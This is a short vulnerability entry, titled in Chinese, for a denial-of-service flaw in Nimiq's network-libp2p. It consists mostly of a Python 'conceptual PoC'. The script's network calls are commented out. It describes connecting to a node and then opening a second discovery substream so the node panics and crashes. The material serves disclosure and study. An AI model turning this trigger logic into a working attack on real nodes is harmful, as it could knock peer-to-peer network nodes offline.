CVE-2026-34063 Nimiq network-libp2p 拒绝服务漏洞

import asyncio import logging # This is a conceptual PoC to demonstrate the vulnerability trigger logic. # Actual exploitation requires implementing the libp2p protocol handshake. async def trigger_vulnerability(target_ip, target_port): logging.basicConfig(level=logging.INFO) # 1. Establish a connection to the target Nimiq node # In a real scenario, this would be a libp2p TCP connection logging.info(f"Connecting to {target_ip}:{target_port}...") # reader, writer = await asyncio.open_connection(target_ip, target_port) # 2. Perform libp2p handshake (Multistream-select) # Assuming handshake succeeds and connection is established logging.info("Connection established. Simulating discovery substream...") # 3. Open first discovery substream (Normal behavior) # The handler accepts this and sets state to 'connected' logging.info("Opening first discovery substream...") # send_protocol_request(writer, "/nimiq/1.0.0/discovery") # 4. Open second discovery substream (Trigger vulnerability) # The handler expects only one substream. Opening a second one # triggers the panic: "Inbound/Outbound already connected" logging.info("Opening second discovery substream (Triggering Panic)...") # send_protocol_request(writer, "/nimiq/1.0.0/discovery") # Result: The remote node's task panics and crashes, taking the P2P network offline. logging.info("Attack packet sent. Remote node should crash.") # writer.close() # await writer.wait_closed() if __name__ == "__main__": # Replace with actual target asyncio.run(trigger_vulnerability("127.0.0.1", 8444))